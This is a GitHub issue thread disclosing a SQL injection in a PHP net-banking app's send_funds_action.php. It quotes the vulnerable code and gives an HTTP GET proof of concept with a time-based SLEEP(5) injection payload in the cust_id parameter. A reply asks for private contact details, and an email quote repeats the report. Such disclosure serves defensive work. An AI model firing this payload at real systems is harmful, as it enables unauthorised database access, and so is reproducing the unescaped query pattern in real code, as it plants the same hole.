Found a vulnerability

[0clickjacking0]

Vulnerability file address

net-banking/send_funds_action.php from line 17,The $_GET['cust_id'] parameter is controllable, the parameter cust_id can be passed through get, and the $receiver_id is not protected from sql injection, line 29 $result5 = $conn->query($sql5); made a sql query,resulting in sql injection

......
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    if (isset($_GET['cust_id'])) {
        $receiver_id = $_GET['cust_id'];
    }

    $sender_id = $_SESSION['loggedIn_cust_id'];
    $amt = mysqli_real_escape_string($conn, $_POST["amt"]);
    $password = mysqli_real_escape_string($conn, $_POST["password"]);

    $sql0 = "SELECT * FROM customer WHERE cust_id=".$sender_id." AND pwd='".$password."'";
    $result0 = $conn->query($sql0);
    $row0 = $result0->fetch_assoc();

    $sql5 = "SELECT * FROM customer WHERE cust_id=".$receiver_id;
    $result5 = $conn->query($sql5);
......
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POC

GET /net-banking/send_funds_action.php?cust_id=666 AND (SELECT 2011 FROM (SELECT(SLEEP(5)))DwUi) HTTP/1.1
Host: www.bank.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=m5fjmb3r9rvk4i56cqc22ht3c3
Upgrade-Insecure-Requests: 1

Attack results pictures

[saossi903]

Please can I have your Facebook contact or WhatsApp or Skype?

…

On Mon, Sep 5, 2022, 10:18 0clickjacking0 ***@***.***> wrote: Vulnerability file address net-banking/send_funds_action.php from line 17,The $_GET['cust_id'] parameter is controllable, the parameter cust_id can be passed through get, and the $receiver_id is not protected from sql injection, line 29 $result5 = $conn->query($sql5); made a sql query,resulting in sql injection .................. if (isset($_GET['cust_id'])) { $receiver_id = $_GET['cust_id']; } $sender_id = $_SESSION['loggedIn_cust_id']; $amt = mysqli_real_escape_string($conn, $_POST["amt"]); $password = mysqli_real_escape_string($conn, $_POST["password"]); $sql0 = "SELECT * FROM customer WHERE cust_id=".$sender_id." AND pwd='".$password."'"; $result0 = $conn->query($sql0); $row0 = $result0->fetch_assoc(); $sql5 = "SELECT * FROM customer WHERE cust_id=".$receiver_id; $result5 = $conn->query($sql5);.................. POC GET /net-banking/send_funds_action.php?cust_id=666 AND (SELECT 2011 FROM (SELECT(SLEEP(5)))DwUi) HTTP/1.1Host: www.bank.netUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: PHPSESSID=m5fjmb3r9rvk4i56cqc22ht3c3Upgrade-Insecure-Requests: 1 Attack results pictures [image: image-20220904201949905] <https://camo.githubusercontent.com/e87e2b01b26d7f5a6f9aad101ade934b4c59f2219d0f57eeade12f5237070cea/68747470733a2f2f7869616e7975313233696d616765732e6f73732d636e2d68616e677a686f752e616c6979756e63732e636f6d2f32303232303930343230313934392e706e67> — Reply to this email directly, view it on GitHub <#19>, or unsubscribe <https://github.com/notifications/unsubscribe-auth/ALVAVO3275W5YFBJESLFPXLV4XCHDANCNFSM6AAAAAAQE3A3I4> . You are receiving this because you are subscribed to this thread.Message ID: ***@***.***>